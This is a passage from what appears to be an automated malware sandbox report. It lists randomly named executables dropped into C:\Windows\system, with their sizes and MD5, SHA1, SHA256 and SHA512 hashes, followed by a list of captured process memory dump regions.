7fdde367a359c4397a22e0faf8d8a97268e69c46a65938cb74dab15d33df2a3d

SHA512
7c397eb9f3867fac9c50cdaeb02626171ec6fea9bc1bdd8ca645ec7ffb9ef0a6b4e4d11c4d8abdef1790ad8ec456501573796314ad3e5c38331c7f7bdac2255f

Download Submit
C:\Windows\system\pUkFgVB.exe

Filesize
2.1MB

MD5
309ad6f36aa46d1d0ba080c8ddca4568

SHA1
3f386c7494791f3e98074844a17ce29531dd835e

SHA256
a75aff29f9f031e81650459ae8344c120f68860f25d45ac46a96df8783ae475d

SHA512
ee5185492e13ac9bc3e644b28bf31065cac34db6adfd931e461dc08f10f39b812ed0f076ca80f162bebcbe30e4c346e83d4c4e026e355e179fd8d382358be9dc

Download Submit
C:\Windows\system\rrktzCd.exe

Filesize
2.1MB

MD5
8b8f51dbd8cdf1d1400219276d18bdfb

SHA1
eec97e13d95bfc7641d0bd79c4f709edc5aee680

SHA256
88df88d4f88c509e0eefdfa1dd1e78be1dc52b3a5f59f6c6783a4a48c2742c54

SHA512
713da13b160cfed240f07853a1d64e0b41f1768c56bf70e5c97815f724bb3b5c5d3c8a13767dd74600f1199526a89eefb08fe13dc1ef063465cf1e0e96a80a6d

Download Submit
C:\Windows\system\snRihiJ.exe

Filesize
2.1MB

MD5
68a271e74d6989bde16e2d4f6f00bc5c

SHA1
386f4584edf62a866801f7a6eebcb4d4e5b52d6a

SHA256
5cb6a4a4433988b5468e99fc9f209d04767f89a29e94ffbc46bae7f4cb882671

SHA512
a81f6109032da3fa06f74e1526443f1053c5363da2c834728a23596b52cd46b34f8395a3caac94bd926846cc1e38db9947f4dd233dbb8f1f499af7903a3d0eab

Download Submit
C:\Windows\system\soTrpOZ.exe

Filesize
2.1MB

MD5
4834e402f8a515f4ff6c9ddb84e175bc

SHA1
169e4a98c03a248030e61c7701cab61a8176131b

SHA256
84c60e545c2df51f5ad88b1e7094d9935f4c4374ad0e84fceb4a367b2791f94e

SHA512
7b70f8d6f45170b9f58a706bfc82eeff57c9a1801b98193ae47a08732f87b6f41763e2d5b8cac064d5f57c775760ef84620d083673c799cbf88d98697f40dcb0

Download Submit
C:\Windows\system\spwSTBP.exe

Filesize
2.1MB

MD5
01a52864dbb3f91638007f5943c0f9b7

SHA1
b545b48212fb5143d2ef2c999d214baca7485a54

SHA256
e3de5e05014fcae43ec538154dea743593282d66ef9ee303bcedfd46dceb7246

SHA512
f51058d5f3261ec30fc2afa1b3f327ee3939c7a36eb1adce9ce4b60e54da0606c2d0334bbf480a09a2b7f84c1b290ffdedd663af51af5cc5bdec6bb26b46cf64

Download Submit
C:\Windows\system\tCtuWbK.exe

Filesize
2.1MB

MD5
cc8ba5a2749c9820a4d6e2598451b094

SHA1
27cf9f0d3e595ea58221d4a7988821957dbd569b

SHA256
cfd3c5f444fa8b946a4a520de9a7f5a4d2f41ecbf69c023daa47f7bb2ce00bce

SHA512
153e30eb934883d1848b2bfdf042683fb540a4d64106ad5e240267813dca08e5a4d9479c73607995ac2fecf5fa6b39fd12c3e206d788281bbc6004491b9857b9

Download Submit
C:\Windows\system\vTBdzAG.exe

Filesize
2.1MB

MD5
b06adc07a77142ddaf29637bd3386be8

SHA1
0542836037ca974d578f736d48b896c9e0acc89b

SHA256
7cf1da3cbf7a11648ed048c4269befc269ffdb0084b699ed5b28ad7f56248c88

SHA512
5b7a2a8e10dc6ae049101482400de9da0b0aeb06efca4bf94553c8e2701d5e26692736175add43168682667caab3b5a5cd3c968fa87bd8206c624ff700ecdee6

Download Submit
\Windows\system\MTTFgEJ.exe

Filesize
2.1MB

MD5
c10ba649974ea37ddfc347658a0d4207

SHA1
3dec00e3db0320688e1afff0bf6fd941b15c2c27

SHA256
c6c97e23469227e629bcaf1850d8c0e544d84af90650e265016518cde8acf6d2

SHA512
d746018d48164035c13097efafa15d7d22dff37006a26ee720f51b799cbedd1f3fcf8f91c8f4137307f625a503d5501007e788335079f607e20e20e6132cbb56

Download Submit
memory/804-1269-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/804-1002-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/1288-88-0x000000013F970000-0x000000013FD62000-memory.dmp

Filesize
3.9MB

Download
memory/1712-85-0x000000013FBA0000-0x000000013FF92000-memory.dmp

Filesize
3.9MB

Download
memory/2112-38-0x000000013F3C0000-0x000000013F7B2000-memory.dmp

Filesize
3.9MB

Download
memory/2180-87-0x000000013F8E0000-0x000000013FCD2000-memory.dmp

Filesize
3.9MB

Download
memory/2284-93-0x000000013FD80000-0x0000000140172000-memory.dmp

Filesize
3.9MB

Download
memory/2284-92-0x0000000002F60000-0x0000000003352000-memory.dmp

Filesize
3.9MB

Download
memory/2284-99-0x000000013FE40000-0x0000000140232000-memory.dmp

Filesize
3.9MB

Download
memory/2284-84-0x000000013F970000-0x000000013FD62000-memory.dmp

Filesize
3.9MB

Download
memory/2284-82-0x0000000002F60000-0x0000000003352000-memory.dmp

Filesize
3.9MB

Download
memory/2284-90-0x000000013F880000-0x000000013FC72000-memory.dmp

Filesize
3.9MB

Download
memory/2284-75-0x000000013F9D0000-0x000000013FDC2000-memory.dmp

Filesize
3.9MB

Download
memory/2284-98-0x000000013F8E0000-0x000000013FCD2000-memory.dmp

Filesize
3.9MB

Download
memory/2284-72-0x000000013FBA0000-0x000000013FF92000-memory.dmp

Filesize
3.9MB

Download
memory/2284-89-0x0000000002F60000-0x0000000003352000-memory.dmp

Filesize
3.9MB

Download
memory/2284-91-0x000000013FA50000-0x000000013FE42000-memory.dmp

Filesize
3.9MB

Download
memory/2284-94-0x0000000002F60000-0x0000000003352000-memory.dmp

Filesize
3.9MB

Download
memory/2284-57-0x000000013F7D0000-0x000000013FBC2000-memory.dmp

Filesize
3.9MB

Download
memory/2284-0-0x000000013F2E0000-0x000000013F6D2000-memory.dmp

Filesize
3.9MB

Download
memory/2284-83-0x000000013F930000-0x000000013FD22000-memory.dmp

Filesize
3.9MB

Download
memory/2284-81-0x000000013FD00000-0x00000001400F2000-memory.dmp

Filesize
3.9MB

Download
memory/2284-1-0x00000000001F0000-0x0000000000200000-memory.dmp

Filesize
64KB

Download
memory/2632-95-0x000000013FC60000-0x0000000140052000-memory.dmp

Filesize
3.9MB

Download
memory/2660-97-0x000000013F7D0000-0x000000013FBC2000-memory.dmp

Filesize
3.9MB

Download
memory/2948-86-0x000000013FD00000-0x00000001400F2000-memory.dmp

Filesize
3.9MB

Download